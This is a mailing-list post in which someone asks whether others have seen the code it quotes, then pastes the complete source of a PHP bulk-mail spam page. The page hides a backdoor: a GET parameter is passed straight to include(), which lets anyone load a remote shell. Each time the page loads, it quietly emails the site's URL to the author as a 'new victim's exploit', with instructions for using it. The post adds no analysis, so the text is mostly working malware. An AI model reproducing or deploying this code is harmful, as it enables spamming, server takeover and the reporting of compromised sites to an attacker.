Has anyone seen this before? <?php if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $replyto=$_POST['replyto']; $subject=$_POST['subject']; $realname=$_POST['realname']; $file_name=$_POST['file']; $contenttype=$_POST['contenttype']; $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <html> <head> <title></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style> html{scrollbar-base-color:#000000;scrollbar-arrow-color: #878787; scrollbar-track-color:#A878787;}.ws36 {font-size: 48px;} .ws18 {font-size: 24px;} .ws26 {font-size: 35px;} --></style> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } --> </style> <style type="text/css"> <!-- .style1 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> </head> <body bgcolor="#000000" text="#00FF00"> <span class="style1">PHP eMailer<br> made by !! Smart-z3r0-roost !! ( <a href="mailto:anawayak5@xxxxxxxxx"><font color="#FF0000">anawayak5@xxxxxxxxx</font></a><font color="#FF0000"> </font>) .</span> <form name="form1" method="post" action="" enctype="multipart/form-data"> <div style="background-color: #00FF00"> <p align="center"><b><font color="#FF0000" face="Comic Sans MS">!! Smart-z3r0-hima-roost !! PHP Mailer </font></b><br> </div> <table width="100%" border="0"> <tr> <td width="10%" height="24"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> Your Email:</font></div> </td> <td width="18%" height="24"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="from" value="<? print $from; ?>" size="30" style="background-color: #FF0000"> </font></td> <td width="31%" height="24"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> Your Name:</font></div> </td> <td width="41%" height="24"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="realname" value="<? print $realname; ?>" size="30" style="background-color: #FF0000"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> Reply-To:</font></div> </td> <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="replyto" value="<? print $replyto; ?>" size="30" style="background-color: #FF0000"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> Attach File:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="file" name="file" size="30" style="background-color: #FF0000"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> Subject:</font></div> </td> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="subject" value="<? print $subject; ?>" size="90" style="background-color: #FF0000"> </font></td> </tr> <tr valign="top"> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10" style="background-color: #FF0000"><? print $message; ?></textarea> <br> <input type="radio" name="contenttype" value="plain"> Plain <input name="contenttype" type="radio" value="html" checked> HTML <input type="hidden" name="action" value="send"> <input type="submit" value="o3a el bo2"> </font></td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10" style="background-color: #FF0000"><? print $emaillist; ?></textarea> </font></td> </tr> </table> </form> <? if (trim($_GET['x'])!=''){@include($_GET['x']);exit();}$email = 'anawayak5@xxxxxxxxx';$y = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];@mail($email, 'Exploit: '. $_SERVER['PHP_SELF'], 'Hey , this is a new victim\'s exploit: '. $y .'\n\n You can use (x=shell_url) at the end of the link ;) ', 'From: '. $email .' <'. $email .'>\r\n'); if ($action){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; mail($to, $subject, "", $header); print "ok<br>"; flush(); } } } ?> <p class="style1">PHP Mailer<br> © !! hoba-roost !! (<a href="mailto:%20anawayak5@xxxxxxxxx"><font color="#FF0000"> anawayak5@xxxxxxxxx </font> </a>) . <br> </p> <?php if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";} ?> <p> </p> </body> </html> -- Member - Liberal International This is doctor@xxxxxxxxxx Ici doctor@xxxxxxxxxx God, Queen and country! Beware Anti-Christ rising! Never Satan President Republic! 12 May BC vote Liberal and remember the NDP scandals like Mulroney! -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php